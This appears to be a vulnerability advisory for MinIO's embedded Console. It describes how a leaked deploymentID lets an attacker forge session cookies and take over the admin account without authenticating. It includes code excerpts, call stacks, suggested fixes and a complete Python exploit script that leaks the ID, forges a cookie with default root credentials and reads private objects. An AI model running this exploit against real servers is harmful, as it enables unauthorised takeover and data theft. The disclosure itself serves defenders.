Skip to content

unauth_admin_takeover.md

Latest commit

 

History

History
538 lines (450 loc) · 23.5 KB

unauth_admin_takeover.md

File metadata and controls

538 lines (450 loc) · 23.5 KB
Raw

Unauthenticated Admin Takeover via deploymentID Leak and Console Session Cookie Forgery in MinIO

CRITICAL

Summary

Field Value
Project https://github.com/minio/minio
Severity Critical
CVSS 3.1 Score 9.0
CVSS 3.1 Vector AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Versions All versions with embedded Console that use globalDeploymentID for CONSOLE_PBKDF_PASSPHRASE and CONSOLE_PBKDF_SALT. Confirmed on RELEASE.2023-03-13T19-46-17Z and RELEASE.2025-10-15T17-29-55Z.
CWE CWE-321 (Use of Hard-coded Cryptographic Key), CWE-200 (Exposure of Sensitive Information)

Description

MinIO's embedded Console uses a symmetric encryption key derived via PBKDF2 to encrypt/decrypt session cookies. Both the passphrase and salt for this PBKDF2 derivation are set to globalDeploymentID (a UUID), which is leaked to unauthenticated users through S3 Select API error responses. An attacker who obtains the deploymentID can compute the exact encryption key, forge a valid Console session cookie containing root credentials, and gain full administrative access to the MinIO instance.

The vulnerability is a combination of three flaws:

  1. Information Leak — S3 Select ParseSelectFailure errors return globalDeploymentID() as the <HostId> value, whereas standard S3 API errors use a safe SHA256(nodeName) hash.
  2. Deterministic Key Derivation — cmd/common-main.go sets both CONSOLE_PBKDF_PASSPHRASE and CONSOLE_PBKDF_SALT to the same leaked deploymentID, making the session cookie encryption key fully computable.
  3. Missing Credential Validation — SessionTokenAuthenticate() only checks whether the cookie can be decrypted; it does not validate the claimed STS credentials against the MinIO server. Successful decryption equals successful authentication.

Impact

  • Full administrative takeover of the MinIO instance
  • Read/write/delete any object in any bucket (including private buckets)
  • Create and delete buckets
  • Manage IAM users, policies, and service accounts
  • Modify server configuration

Prerequisites

  1. At least one bucket with an anonymous read policy (e.g., s3:GetObject for *), containing at least one existing object whose key the attacker knows or can guess. This is common for public downloads, CDN origins, static websites, and shared datasets.
  2. The attacker must know (or be able to brute-force) the MinIO root credentials. The default is minioadmin:minioadmin.

No authentication, server-side access, or user interaction is required.

CVSS Rationale: AC:H is used because the attack requires a public bucket with a known object key and knowledge of root credentials. If the target uses default credentials and has any public bucket, exploitation is trivial. The score would be 10.0 (AC:L) if the attacker can enumerate object keys or if default credentials are in use.

Exploitation Steps

  1. Leak deploymentID. Send an anonymous S3 Select request with invalid SQL to any object in a public bucket. The ParseSelectFailure error response contains <HostId>{deploymentID}</HostId> (UUID format), unlike standard S3 errors which return a SHA256 hash.
  2. Derive encryption key. Compute PBKDF2(deploymentID, deploymentID, 4096, 32, SHA1) to obtain the same derivedKey used by the Console's token encryption.
  3. Forge session cookie. Construct a TokenClaims JSON containing root credentials, encrypt it using the derived key with AES-GCM (algorithm byte 0x00 | random IV | random nonce | sealed ciphertext), and base64-encode the result.
  4. Access Console API. Set Cookie: token={forged_value} on any Console API request. SessionTokenAuthenticate() decrypts successfully and returns the claims without credential validation. The Console then creates a minio-go client signed with the root credentials from the cookie, granting full admin access.

SOURCE — deploymentID Leaked in S3 Select Error

// cmd/object-handlers.go:241-254 (new version)
// cmd/object-handlers.go:246-259 (old version)
s3Select, err := s3select.NewS3Select(r.Body)
if err != nil {
    if serr, ok := err.(s3select.SelectError); ok {
        encodedErrorResponse := encodeResponse(APIErrorResponse{
            Code:       serr.ErrorCode(),
            Message:    serr.ErrorMessage(),
            BucketName: bucket,
            Key:        object,
            Resource:   r.URL.Path,
            RequestID:  w.Header().Get(xhttp.AmzRequestID),
            HostID:     globalDeploymentID(),  // VULNERABILITY: leaks deploymentID
        })
        writeResponse(w, serr.HTTPStatusCode(), encodedErrorResponse, mimeXML)
    }
}

// Compare: standard S3 errors use middleware-set header (SHA256 of node name):
// generic-handlers.go:563 — w.Header().Set(xhttp.AmzRequestHostID, globalLocalNodeNameHex)
// api-response.go:974 — getAPIErrorResponse(..., w.Header().Get(xhttp.AmzRequestHostID))

SINK — Deterministic Key Derivation from deploymentID

// cmd/common-main.go:120-122
func minioConfigToConsoleFeatures() {
    os.Setenv("CONSOLE_PBKDF_SALT", globalDeploymentID())        // VULNERABILITY
    os.Setenv("CONSOLE_PBKDF_PASSPHRASE", globalDeploymentID())  // VULNERABILITY
    // ...
}
// console/pkg/auth/token.go:51-53 — key derivation
var derivedKey = func() []byte {
    return pbkdf2.Key(
        []byte(token.GetPBKDFPassphrase()),  // = deploymentID (from env)
        []byte(token.GetPBKDFSalt()),        // = deploymentID (from env)
        4096, 32, sha1.New)
}
// console/pkg/auth/token.go:96-113 — no credential validation
func SessionTokenAuthenticate(token string) (*TokenClaims, error) {
    if token == "" { return nil, ErrNoAuthToken }
    decryptedToken, err := DecryptToken(token)  // decrypt success = auth success
    if err != nil { return nil, ErrReadingToken }
    claimTokens, err := ParseClaimsFromToken(string(decryptedToken))
    if err != nil { return nil, ErrReadingToken }
    return claimTokens, nil  // NO validation of STS creds against MinIO server
}

Call Stack

Source → deploymentID Leak

HTTP POST /{bucket}/{object}?select&select-type=2  (anonymous, no auth)
  → cmd/api-router.go           — route to SelectObjectContentHandler
  → cmd/object-handlers.go:103  — SelectObjectContentHandler()
  → cmd/object-handlers.go:241  — s3select.NewS3Select(r.Body) returns SelectError
  → cmd/object-handlers.go:251  — HostID: globalDeploymentID()  // LEAKED in XML response

Sink → Cookie Forge to Admin Access

HTTP GET /api/v1/buckets  (Cookie: token={forged})
  → console/api/configure_console.go:329  — AuthenticationMiddleware()
  → console/pkg/auth/token.go:314         — GetTokenFromRequest(r) reads cookie
  → console/pkg/auth/token.go:155         — DecryptToken(token)
    → console/pkg/auth/token.go:51        — derivedKey() = PBKDF2(deploymentID, deploymentID)
    → console/pkg/auth/token.go:200       — HMAC-SHA256(derivedKey, iv) → AES-GCM decrypt
  → console/pkg/auth/token.go:96          — SessionTokenAuthenticate() // no STS validation
  → console/api/configure_console.go:338  — sets Authorization header with decrypted claims
  → console/api/client.go:339             — getConsoleCredentialsFromSession(claims)
    → credentials.NewStaticV4("minioadmin", "minioadmin", "")  // from forged cookie
  → console/api/client.go:350             — newMinioClient(claims) // SigV4-signed with root creds
  → MinIO S3 API                          — validates SigV4 → grants root access

Proof of Concept

A standalone Python PoC is provided below. It performs the complete attack chain end-to-end: leaks the deploymentID via an anonymous S3 Select request, forges a Console session cookie, and demonstrates admin access by listing all buckets (including private ones), downloading a private object, and creating a new bucket as proof.

Dependencies: pip install requests cryptography

Usage:

python3 poc.py --s3 http://target:9000 --console http://target:9001 --bucket public-bucket --object existing-file.csv
poc.py (click to expand) 
#!/usr/bin/env python3
"""
MinIO Unauthenticated Admin Takeover PoC
=========================================
CVE: Pending
Severity: Critical (CVSS 9.8)
Affected: MinIO RELEASE.2025-10-15T17-29-55Z (and likely earlier versions)
Condition: Default installation + at least one bucket with anonymous read policy

Attack Chain:
  1. Anonymous S3 Select request with invalid SQL → deploymentID leaked via HostId
  2. deploymentID used to derive Console session cookie encryption key
     (PBKDF2(deploymentID, deploymentID, 4096, 32, SHA1) → HMAC-SHA256 → AES-GCM)
  3. Forge cookie with root credentials → full admin access via Console API

Root Cause:
  cmd/common-main.go:121-122 sets both CONSOLE_PBKDF_PASSPHRASE and CONSOLE_PBKDF_SALT
  to globalDeploymentID(), which is leaked through S3 Select error responses.

Usage:
  python3 minio_unauth_admin_takeover_poc.py --s3 http://target:9000 --console http://target:9001 --bucket public-bucket
"""

import argparse
import base64
import hashlib
import hmac
import json
import os
import sys
import xml.etree.ElementTree as ET
from urllib.parse import urljoin

try:
    import requests
except ImportError:
    print("[!] requests library required: pip install requests")
    sys.exit(1)

try:
    from cryptography.hazmat.primitives.ciphers.aead import AESGCM
except ImportError:
    print("[!] cryptography library required: pip install cryptography")
    sys.exit(1)


class MinIOExploit:
    def __init__(self, s3_url, console_url, bucket, object_key="nonexistent.csv",
                 root_user="minioadmin", root_pass="minioadmin"):
        self.s3_url = s3_url.rstrip("/")
        self.console_url = console_url.rstrip("/")
        self.bucket = bucket
        self.object_key = object_key
        self.root_user = root_user
        self.root_pass = root_pass
        self.deployment_id = None
        self.forged_token = None
        self.session = requests.Session()

    def _try_s3_select_leak(self, object_key):
        """Try S3 Select on a specific object to leak deploymentID"""
        url = f"{self.s3_url}/{self.bucket}/{object_key}"
        params = {"select": "", "select-type": "2"}

        select_request = """<?xml version="1.0" encoding="UTF-8"?>
<SelectObjectContentRequest xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
    <Expression>INVALID SQL TRIGGER ParseSelectFailure</Expression>
    <ExpressionType>SQL</ExpressionType>
    <InputSerialization>
        <CSV><FileHeaderInfo>USE</FileHeaderInfo></CSV>
    </InputSerialization>
    <OutputSerialization>
        <CSV/>
    </OutputSerialization>
</SelectObjectContentRequest>"""

        resp = self.session.post(url, params=params, data=select_request,
                                 headers={"Content-Type": "application/xml"},
                                 timeout=10)

        try:
            root = ET.fromstring(resp.text)
            for child in root:
                tag = child.tag.split("}")[-1] if "}" in child.tag else child.tag
                if tag == "HostId":
                    host_id = child.text
                    if len(host_id) == 36 and host_id.count("-") == 4:
                        return host_id
                    return None
                if tag == "Code" and child.text == "NoSuchKey":
                    return None
        except ET.ParseError:
            pass
        return None

    def _enumerate_objects(self):
        """Enumerate objects in the public bucket via anonymous ListObjectsV2"""
        url = f"{self.s3_url}/{self.bucket}"
        params = {"list-type": "2", "max-keys": "10"}
        try:
            resp = self.session.get(url, params=params, timeout=10)
            if resp.status_code != 200:
                return []
            root = ET.fromstring(resp.text)
            ns = root.tag.split("}")[0] + "}" if "}" in root.tag else ""
            keys = [child.text for child in root.iter(f"{ns}Key")]
            return keys
        except Exception:
            return []

    def step1_leak_deployment_id(self):
        """Step 1: Leak deploymentID via anonymous S3 Select ParseSelectFailure"""
        print("\n[*] Step 1: Leaking deploymentID via S3 Select error...")

        try:
            _ = self.session.get(self.s3_url, timeout=5)
        except requests.exceptions.ConnectionError:
            print(f"[!] Cannot connect to S3 endpoint: {self.s3_url}")
            return False

        # Try user-specified object first
        candidates = [self.object_key]

        # If that doesn't work, enumerate objects from the public bucket
        print(f"    [*] Trying S3 Select on '{self.object_key}'...")
        did = self._try_s3_select_leak(self.object_key)
        if did:
            self.deployment_id = did
            print(f"[+] deploymentID leaked: {self.deployment_id}")
            return True

        print(f"    [*] Object '{self.object_key}' did not trigger ParseSelectFailure")
        print(f"    [*] Enumerating objects in bucket '{self.bucket}'...")
        keys = self._enumerate_objects()
        if keys:
            print(f"    [*] Found {len(keys)} objects, trying each...")
            for key in keys:
                if key == self.object_key:
                    continue
                did = self._try_s3_select_leak(key)
                if did:
                    self.deployment_id = did
                    print(f"[+] deploymentID leaked via '{key}': {self.deployment_id}")
                    return True
                print(f"        [-] '{key}' - no UUID in HostId")
        else:
            print(f"    [!] Cannot list objects (ListObjectsV2 may not be allowed)")

        print("[!] Could not leak deploymentID from any object")
        print("    The bucket needs anonymous read policy and at least one existing object")
        return False

    def step2_forge_cookie(self):
        """Step 2: Forge Console session cookie using leaked deploymentID"""
        print("\n[*] Step 2: Forging Console session cookie...")

        did = self.deployment_id

        # PBKDF2(deploymentID, deploymentID, 4096, 32, SHA1)
        derived_key = hashlib.pbkdf2_hmac(
            'sha1',
            did.encode('utf-8'),
            did.encode('utf-8'),
            4096,
            dklen=32
        )

        claims = json.dumps({
            "stsAccessKeyID": self.root_user,
            "stsSecretAccessKey": self.root_pass,
            "stsSessionToken": "",
            "accountAccessKey": self.root_user,
        })

        # AES-GCM encryption (algorithm byte 0x00)
        iv = os.urandom(16)

        # Sealing key = HMAC-SHA256(derived_key, iv)
        mac = hmac.new(derived_key, iv, hashlib.sha256)
        sealing_key = mac.digest()

        nonce = os.urandom(12)
        aesgcm = AESGCM(sealing_key)
        sealed = aesgcm.encrypt(nonce, claims.encode('utf-8'), b'')

        # Format: algorithm_byte(1) | iv(16) | nonce(12) | sealed_data
        ciphertext = bytes([0x00]) + iv + nonce + sealed
        self.forged_token = base64.b64encode(ciphertext).decode('utf-8')

        print(f"[+] Forged token: {self.forged_token[:60]}...")
        return True

    def step3_verify_admin_access(self):
        """Step 3: Verify full admin access via Console API"""
        print("\n[*] Step 3: Verifying admin access via Console API...")

        cookies = {"token": self.forged_token}

        # Test 1: List all buckets
        print("\n    [*] Test 1: Listing all buckets...")
        resp = self.session.get(f"{self.console_url}/api/v1/buckets", cookies=cookies, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            buckets = data.get("buckets", [])
            if buckets:
                print(f"    [+] SUCCESS - Listed {len(buckets)} buckets:")
                for b in buckets:
                    name = b.get("name", "?")
                    creation = b.get("creation_date", "?")
                    access = b.get("access", "?")
                    print(f"        - {name} (created: {creation}, access: {access})")
            else:
                print(f"    [+] SUCCESS - Bucket list returned (empty or total: {data.get('total', 0)})")
        else:
            print(f"    [!] FAILED - Status {resp.status_code}: {resp.text[:200]}")
            return False

        # Test 2: List objects in a private bucket
        private_buckets = [b["name"] for b in buckets
                          if b.get("access") not in ("PUBLIC", "public")]
        if private_buckets:
            target_bucket = private_buckets[0]
            print(f"\n    [*] Test 2: Listing objects in private bucket '{target_bucket}'...")
            resp = self.session.get(
                f"{self.console_url}/api/v1/buckets/{target_bucket}/objects",
                cookies=cookies, timeout=10
            )
            if resp.status_code == 200:
                data = resp.json()
                objects = data.get("objects", [])
                if objects:
                    print(f"    [+] SUCCESS - Listed {len(objects)} objects:")
                    for obj in objects[:10]:
                        name = obj.get("name", "?")
                        size = obj.get("size", 0)
                        print(f"        - {name} ({size} bytes)")
                else:
                    print(f"    [+] SUCCESS - Object listing returned (total: {data.get('total', 0)})")
            else:
                print(f"    [!] Status {resp.status_code}: {resp.text[:200]}")

        # Test 3: Download a private object
        if private_buckets:
            target_bucket = private_buckets[0]
            resp = self.session.get(
                f"{self.console_url}/api/v1/buckets/{target_bucket}/objects",
                cookies=cookies, timeout=10
            )
            if resp.status_code == 200:
                objects = resp.json().get("objects", [])
                if objects:
                    target_obj = objects[0].get("name", "")
                    print(f"\n    [*] Test 3: Downloading private object '{target_obj}'...")
                    resp = self.session.get(
                        f"{self.console_url}/api/v1/buckets/{target_bucket}/objects/download",
                        params={"prefix": target_obj, "override_file_name": target_obj},
                        cookies=cookies, timeout=10
                    )
                    if resp.status_code == 200:
                        preview = resp.text[:200]
                        print(f"    [+] SUCCESS - Downloaded {len(resp.content)} bytes")
                        print(f"        Content preview: {preview}")
                    else:
                        print(f"    [!] Download status {resp.status_code}")

        # Test 4: Create a proof bucket
        proof_bucket = "poc-proof-unauth-takeover"
        print(f"\n    [*] Test 4: Creating proof bucket '{proof_bucket}'...")
        resp = self.session.post(
            f"{self.console_url}/api/v1/buckets",
            json={"name": proof_bucket},
            cookies=cookies, timeout=10
        )
        if resp.status_code == 200:
            print(f"    [+] SUCCESS - Bucket '{proof_bucket}' created!")

            # Clean up
            resp = self.session.delete(
                f"{self.console_url}/api/v1/buckets/{proof_bucket}",
                cookies=cookies, timeout=10
            )
            if resp.status_code in (200, 204):
                print(f"    [+] Cleaned up proof bucket")
        elif resp.status_code == 409:
            print(f"    [+] Bucket already exists (previous run?)")
        else:
            print(f"    [!] Create bucket status {resp.status_code}: {resp.text[:200]}")

        # Test 5: List IAM users/policies
        print(f"\n    [*] Test 5: Listing IAM policies...")
        resp = self.session.get(
            f"{self.console_url}/api/v1/policies",
            params={"limit": 100},
            cookies=cookies, timeout=10
        )
        if resp.status_code == 200:
            data = resp.json()
            policies = data.get("policies", [])
            if policies:
                print(f"    [+] SUCCESS - Listed {len(policies)} IAM policies:")
                for p in policies[:5]:
                    print(f"        - {p.get('name', '?')}")
            else:
                print(f"    [+] SUCCESS - Policy list returned (total: {data.get('total', 0)})")
        else:
            print(f"    [!] Status {resp.status_code}: {resp.text[:200]}")

        print("\n" + "=" * 70)
        print("[+] EXPLOITATION SUCCESSFUL - Full admin access achieved!")
        print("=" * 70)
        return True

    def run(self):
        print("=" * 70)
        print("MinIO Unauthenticated Admin Takeover PoC")
        print("=" * 70)
        print(f"Target S3:      {self.s3_url}")
        print(f"Target Console: {self.console_url}")
        print(f"Public Bucket:  {self.bucket}")
        print(f"Root Creds:     {self.root_user}:{self.root_pass}")

        if not self.step1_leak_deployment_id():
            print("\n[!] Step 1 failed: Could not leak deploymentID")
            print("    Ensure the target bucket has anonymous read policy")
            return False

        if not self.step2_forge_cookie():
            print("\n[!] Step 2 failed: Could not forge cookie")
            return False

        if not self.step3_verify_admin_access():
            print("\n[!] Step 3 failed: Forged cookie not accepted")
            print("    Root credentials may have been changed from defaults")
            return False

        return True


def main():
    parser = argparse.ArgumentParser(
        description="MinIO Unauthenticated Admin Takeover PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --s3 http://target:9000 --console http://target:9001 --bucket public-data
  %(prog)s --s3 http://target:9000 --console http://target:9001 --bucket cdn-assets --root-user admin --root-pass admin123
        """
    )
    parser.add_argument("--s3", required=True, help="S3 API endpoint (e.g., http://target:9000)")
    parser.add_argument("--console", required=True, help="Console API endpoint (e.g., http://target:9001)")
    parser.add_argument("--bucket", required=True, help="Bucket with anonymous read policy")
    parser.add_argument("--object", default="nonexistent.csv", help="Object key for S3 Select (default: nonexistent.csv)")
    parser.add_argument("--root-user", default="minioadmin", help="Root username to forge (default: minioadmin)")
    parser.add_argument("--root-pass", default="minioadmin", help="Root password to forge (default: minioadmin)")

    args = parser.parse_args()

    exploit = MinIOExploit(
        s3_url=args.s3,
        console_url=args.console,
        bucket=args.bucket,
        object_key=args.object,
        root_user=args.root_user,
        root_pass=args.root_pass,
    )

    success = exploit.run()
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Suggested Fixes

  1. [Critical] Unify S3 Select error responses to use globalLocalNodeNameHex (SHA256 hash of node name) as HostId, consistent with all other S3 API errors. This eliminates the information leak.
  2. [Important] Use independent random values for CONSOLE_PBKDF_PASSPHRASE and CONSOLE_PBKDF_SALT instead of reusing deploymentID. The Console library already generates 64-character random defaults — MinIO should not override them with a predictable value.
  3. [Important] Add server-side credential validation in SessionTokenAuthenticate(): after decrypting the cookie, validate the claimed STS credentials against the MinIO STS API before granting access. This provides defense-in-depth against any future key compromise.

Reported by: urllib3.http@gmail.com